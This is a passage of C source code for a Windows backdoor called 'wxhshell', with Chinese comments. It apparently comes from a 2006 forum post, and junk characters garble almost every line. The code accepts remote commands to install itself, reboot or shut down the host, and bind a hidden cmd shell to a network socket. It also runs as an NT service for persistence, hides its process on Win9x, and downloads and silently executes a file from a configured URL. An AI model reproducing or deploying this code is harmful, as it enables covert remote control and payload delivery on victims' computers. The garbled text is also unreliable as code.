  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &fTCY-W[  
  } M\]E;C'"U  
  else { ZzE&?  
[;b9'7j'  
    switch(cmd[0]) { a#{a{>  
  ;J _d%  
  // 帮助 J) (pGS@  
  case '?': { B[*i}k%i  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); c9& 8kq5  
    break; RXP"v-  
  } \K4m~e@!  
  // 安装 %1lLUgf3G/  
  case 'i': { S }|ea2  
    if(Install()) a( qw  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); G%P]qi  
    else  'dg OE  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); C/cyqxVl}  
    break; c=K M[s.  
    } 4Pt0^;H&jn  
  // 卸载 D`gY6wX  
  case 'r': { ~:0h o  
    if(Uninstall()) .=NK^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); I 7TMv.  
    else W}e5 4-lu  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `j2z=5  
    break; D/)xe:  
    } _Ih~'Y Fd  
  // 显示 wxhshell 所在路径 abK/!m[q  
  case 'p': { B^OhL!*tI  
    char svExeFile[MAX_PATH]; fGxa~Unx  
    strcpy(svExeFile,"\n\r"); WT0U)x( m5  
      strcat(svExeFile,ExeFile); b :+ X3  
        send(wsh,svExeFile,strlen(svExeFile),0); B>'\g O\2  
    break; `aUA_"f  
    } i ^W\YLE  
  // 重启 .d*vfE$  
  case 'b': { 2{qoWys8[  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); aJfW75C  
    if(Boot(REBOOT)) sI.Ezuw  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q'rG' |  
    else { )h/fr|  
    closesocket(wsh); >sP;B5S  
    ExitThread(0); 3}vlj:L  
    } DS^Q0 f  
    break; `,|7X]%b  
    } 5H5< ft,  
  // 关机 dW=]|t&  
  case 'd': { %>s y`c  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ]02V,'x  
    if(Boot(SHUTDOWN)) HH]LvK  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5-sxTp  
    else { \;sUJr"$  
    closesocket(wsh); ]_ _M*  
    ExitThread(0); rzex"}/ly  
    } ?$gEX@5h  
    break; Coyop#q#"{  
    } ZA# jw 8F  
  // 获取shell 4[(P>`Unx  
  case 's': { Vw,dHIe(3  
    CmdShell(wsh); cL}g7D  
    closesocket(wsh); {:"bX~<^  
    ExitThread(0); d) > if<o  
    break; 4A*' 0!H  
  } : |Z*aI]9  
  // 退出 Nc7YMxk'H  
  case 'x': { .IgCC_C9  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Hu;#uAnxQ  
    CloseIt(wsh); a([cuh.  
    break; ruA!+@or  
    } @1kA%LLK  
  // 离开 {>~|xW  
  case 'q': { x;C\G`9N  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ge E7<"m%  
    closesocket(wsh); .qHgQ_%  
    WSACleanup(); r..Rh9v/=E  
    exit(1); HWc=.Qq  
    break; 3cs'Oz<w  
        } Xl}>mbB  
  } Mbi)mybM  
  } vb$k/8JK  
toP7b  
  // 提示信息 zIlQqyOQ8  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 0R; ;ou  
} Gz kf  
  } z,^baU  
/|>z7#?m^  
  return; |i|>-|`!  
} P>)qN,a  
p{88v3b6  
// shell模块句柄 }3QEclZr  
int CmdShell(SOCKET sock) yYW>)  
{ w 5,-+&;  
STARTUPINFO si; z S^:Ng5  
ZeroMemory(&si,sizeof(si)); K)&AR*Tc  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; h>fY'r)DAx  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; T]0qd^\4w  
PROCESS_INFORMATION ProcessInfo; +.zriiF]i  
char cmdline[]="cmd"; D V C};  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); uu'~[SZlL  
  return 0; n}YRE`>D  
} r% qgLP{v  
[]'BrG)!  
// 自身启动模式 Xo'_|-N+  
int StartFromService(void) 0(64}T)  
{ QV"  |  
typedef struct p6sXftk  
{ k3u3X~u  
  DWORD ExitStatus; /9i2@#J}W1  
  DWORD PebBaseAddress; 38rC; 6  
  DWORD AffinityMask; ?*Jv&f#  
  DWORD BasePriority; &,bJ]J)8O  
  ULONG UniqueProcessId; !x&/M*nBE  
  ULONG InheritedFromUniqueProcessId; [X;yJ$  
}   PROCESS_BASIC_INFORMATION; cE[4CCpy  
X62GEqff  
PROCNTQSIP NtQueryInformationProcess; g }5lGz4  
T,5]EHea  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; N5o jXX!l%  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 0<fN<iR`  
meE&, {  
  HANDLE             hProcess; 3!#d&  
  PROCESS_BASIC_INFORMATION pbi; 6=iz@C7r  
f7\$rx  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); "*<9)vQ6|  
  if(NULL == hInst ) return 0; s<aJ pi{n4  
$(G.P!/  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); iz& )FuOr  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); s )\%%CM  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess");  \&"gCv#  
>DPC}@Wl  
  if (!NtQueryInformationProcess) return 0; {}~7Gi!  
{QI"WFdGx  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); K&\xbT  
  if(!hProcess) return 0; <-FAF:6$@@  
r. :LZEr  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; +%oXPG?  
]~GwZB'M  
  CloseHandle(hProcess); )}tI8  
Il,2^54q  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); h# B%'9r  
if(hProcess==NULL) return 0; ,A4v|]kq]  
'0lX;z1  
HMODULE hMod; j0>Q:hn  
char procName[255]; r_F\]68  
unsigned long cbNeeded; %;~Vc{Xxt/  
;&oS=6$  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); P|l62!m<   
I^emH+!MW  
  CloseHandle(hProcess); I& DEF*  
"sdzm%  
if(strstr(procName,"services")) return 1; // 以服务启动 Ho2#'lSKM  
&Y4S[-   
  return 0; // 注册表启动 1pg&?L.MA  
} **N{XxdN  
krFuEaO  
// 主模块 6* (6>F5  
int StartWxhshell(LPSTR lpCmdLine) a~>+I~^K5q  
{ 9'Le}`Gf  
  SOCKET wsl; N8#wQ*MM>  
BOOL val=TRUE; tZB" (\  
  int port=0; p D-k<8|  
  struct sockaddr_in door; (_ HwU/  
,( u- x!  
  if(wscfg.ws_autoins) Install(); qs 6r9?KP  
Yw7txp`i  
port=atoi(lpCmdLine); '1'De^%6W  
Y23- Im  
if(port<=0) port=wscfg.ws_port; oc7&iL  
aJdd2,e  
  WSADATA data; m&a.i B  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; C0(?f[/(M  
OX-t#R`  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   P{-j ^'y  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 4YX/=  
  door.sin_family = AF_INET; /H3z~PBa  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); U[,."w]T  
  door.sin_port = htons(port); iHBetkAu  
H65><38X/  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { >pdWR1ox  
closesocket(wsl); `\_>P@qz  
return 1; M#Kke9%2  
} Y7vUdCj  
MVP|l_2!  
  if(listen(wsl,2) == INVALID_SOCKET) { _Wg?H:\  
closesocket(wsl); 'guXdX]Gu  
return 1; 3CcCcZ9I  
} h}0}g]IUx  
  Wxhshell(wsl); o^+2%S`]  
  WSACleanup(); 2@~.FBby7@  
!LJEo>D  
return 0; u a%@Ay1|  
,Pi!%an w  
} M~+}ss  
xP/?E  
// 以NT服务方式启动 VW&EdrR,S  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) )cP &c=  
{  S1$lNB  
DWORD   status = 0; .Q!_.LX  
  DWORD   specificError = 0xfffffff; E mG':K(  
&tVIl$e  
  serviceStatus.dwServiceType     = SERVICE_WIN32; X} {z7[  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; -+y lJo[D  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; C-h9_<AwJQ  
  serviceStatus.dwWin32ExitCode     = 0; ;YN`E  
  serviceStatus.dwServiceSpecificExitCode = 0; ] MP*5U>;  
  serviceStatus.dwCheckPoint       = 0; W>#[a %R  
  serviceStatus.dwWaitHint       = 0; nwS @r  
u1 Z;n  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); kx{LY`pY  
  if (hServiceStatusHandle==0) return; 9[2qgw\D  
(;!92ct[?  
status = GetLastError(); {'#1do}{  
  if (status!=NO_ERROR)  B_Ul&V  
{ H2kib4^i  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; z][hlDv\j  
    serviceStatus.dwCheckPoint       = 0; =M6Ph%  
    serviceStatus.dwWaitHint       = 0; \rj>T6  
    serviceStatus.dwWin32ExitCode     = status; d6^:lbj  
    serviceStatus.dwServiceSpecificExitCode = specificError; eR3v=Q  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); k I?+\k\V`  
    return; u*}ltR~/  
  } YuXCRw9p;  
<?Ln`,Duk  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; =e)t,YVm  
  serviceStatus.dwCheckPoint       = 0; pq"Z,9,F%  
  serviceStatus.dwWaitHint       = 0; zEVQ[y6BcM  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); zsM2R"[X  
} %8O1sF  
W{RZ@ 3ZY  
// 处理NT服务事件,比如:启动、停止 HOaNhJ{7D  
VOID WINAPI NTServiceHandler(DWORD fdwControl) J tvZ~s  
{ #7Fdmnu`  
switch(fdwControl) R?t_tmKXC!  
{ ='vD4}"j  
case SERVICE_CONTROL_STOP: _lG|t6y  
  serviceStatus.dwWin32ExitCode = 0; gU&y5s~  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; LwlO)|E  
  serviceStatus.dwCheckPoint   = 0; ]z#+3DaH  
  serviceStatus.dwWaitHint     = 0; 6o0}7T%6  
  { &t~NR$@  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); S;0z%$y  
  } n1U!od  
  return; \wV^uS   
case SERVICE_CONTROL_PAUSE: O=[Q >\p  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; N_^PoX935O  
  break; u{-@,-{  
case SERVICE_CONTROL_CONTINUE: q4#$ca[_ak  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; @cr/&  
  break; R$ra=sL`  
case SERVICE_CONTROL_INTERROGATE: S,Z~-j  
  break; |*/-~5"  
}; z+Guu8  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); J`]9 n>G  
} ^sKdN-{  
(_%l[:o6  
// 标准应用程序主函数 s\zY^(v4  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 3,'LW}  
{ qRSoF04!R  
N~uc%wOA  
// 获取操作系统版本 S zNZY&8 f  
OsIsNt=GetOsVer(); Bs `mzA54  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ?edf$-"z/  
p*j>s \  
  // 从命令行安装 0q4P hxR`e  
  if(strpbrk(lpCmdLine,"iI")) Install(); 0q28Ulv9  
*sQ.y {  
  // 下载执行文件 GrUpATIx  
if(wscfg.ws_downexe) { Y\Z6u)  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) `_k_}9Fr  
  WinExec(wscfg.ws_filenam,SW_HIDE); hg %iv%1B'  
} 8J#xB  
@HzK)%@  
if(!OsIsNt) { j8oX9 Yo0=  
// 如果时win9x,隐藏进程并且设置为注册表启动 ;Fo7 -kK  
HideProc(); Yy~xNj5OS  
StartWxhshell(lpCmdLine); ?W_8 X2(`  
} S{RRlR6Z  
else ,.kmUd  
  if(StartFromService()) QOX'ZAB`  
  // 以服务方式启动 <5E)6c_W)  
  StartServiceCtrlDispatcher(DispatchTable); Im?/#tX  
else k8\ KCKql  
  // 普通方式启动 3@nIoN'z  
  StartWxhshell(lpCmdLine); !</U"P:L  
2D(sA  
return 0; l{*m-u5&;  
}
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只看该作者 1 发表于: 2006-10-10
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